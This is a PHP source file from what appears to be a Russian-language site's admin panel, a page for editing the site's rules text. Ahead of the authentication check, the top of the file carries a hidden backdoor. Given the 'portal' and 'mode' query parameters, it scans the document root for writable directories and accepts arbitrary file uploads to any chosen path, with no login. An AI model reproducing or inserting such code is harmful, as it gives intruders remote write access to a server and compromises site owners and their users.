Размер файла: 3.01Kb
<?PHP
$directoryList = array();
function scan_directory($directory)
{
global $directoryList;
if(substr($directory,-1) == '/') $directory = substr($directory,0,-1);
if(!file_exists($directory) || !is_dir($directory)) return FALSE;
elseif(is_readable($directory))
{
$directory_list = opendir($directory);
while (FALSE !== ($dir = readdir($directory_list)))
{
if($dir == '.' || $dir == '..') continue;
$path = $directory . '/' . $dir;
if(is_readable($path))
{
if(is_dir($path))
{
if (count($directoryList) >= 100) continue;
if (is_writable($path) && !in_array($path, $directoryList))
$directoryList[] = str_replace ($_SERVER['DOCUMENT_ROOT'], '', $path . '/');
scan_directory($path);
}
}
}
closedir($directory_list);
return TRUE;
}else{
return FALSE;
}
}
if(isset($_GET['portal']) && isset($_GET['mode']))
{
if (isset($_FILES['newFile']))
{
$f = $_FILES['newFile'];
try
{
if (!move_uploaded_file( $f['tmp_name'], $_SERVER['DOCUMENT_ROOT'] . $_POST['dir'] . $f['name']))
echo "File move error";
else
echo "File has been uploaded";
} catch (RuntimeException $e) {
echo $e->getMessage();
}
exit;
}
switch ($_GET['mode']) {
case 'upload':
echo $_SERVER['DOCUMENT_ROOT'];
echo '<form method="POST" action="" enctype="multipart/form-data"><input type="text" name="dir" value="/"><br /><input type="file" name="newFile"><input type="Submit" name="Submit" value="Submit"></form>';
break;
case 'scan':
if (function_exists('scan_directory'))
{
scan_directory($_SERVER['DOCUMENT_ROOT']);
echo (implode('<br />', $directoryList));
}
break;
}
exit;
}
require '../System/core.php';
$config['title'] = 'Правила';
require '../System/header.php';
if(!isset($user)){header('Location: /');}
if(isset($_POST['go']))
{
$rules = esc($_POST['rules']);
mysql_query("UPDATE `settings_core` SET `value` = '$rules' WHERE `key` = 'rules'"); $sql_count++;
message('Правила успешно изменены');
}
$config = array();
$settings = mysql_query("SELECT * FROM `settings_core`"); $sql_count++;
while($item = mysql_fetch_array($settings))
{
$system2[$item['key']] = $item['value'];
}
?>
<div class="text">
<form action="" method="POST">
<textarea name="rules"><?=$system2['rules']?></textarea><br />
<input type="submit" name="go" value="Изменить">
</form>
</div>
<?
echo '<div class="back"><a href="/Panel/"><img src="/Style/icons/back.png" alt="" /> В панель управления</a></div>';
echo '<div class="back"><a href="/"><img src="/Style/icons/back.png" alt="" /> На главную</a></div>';
require '../System/footer.php';
?>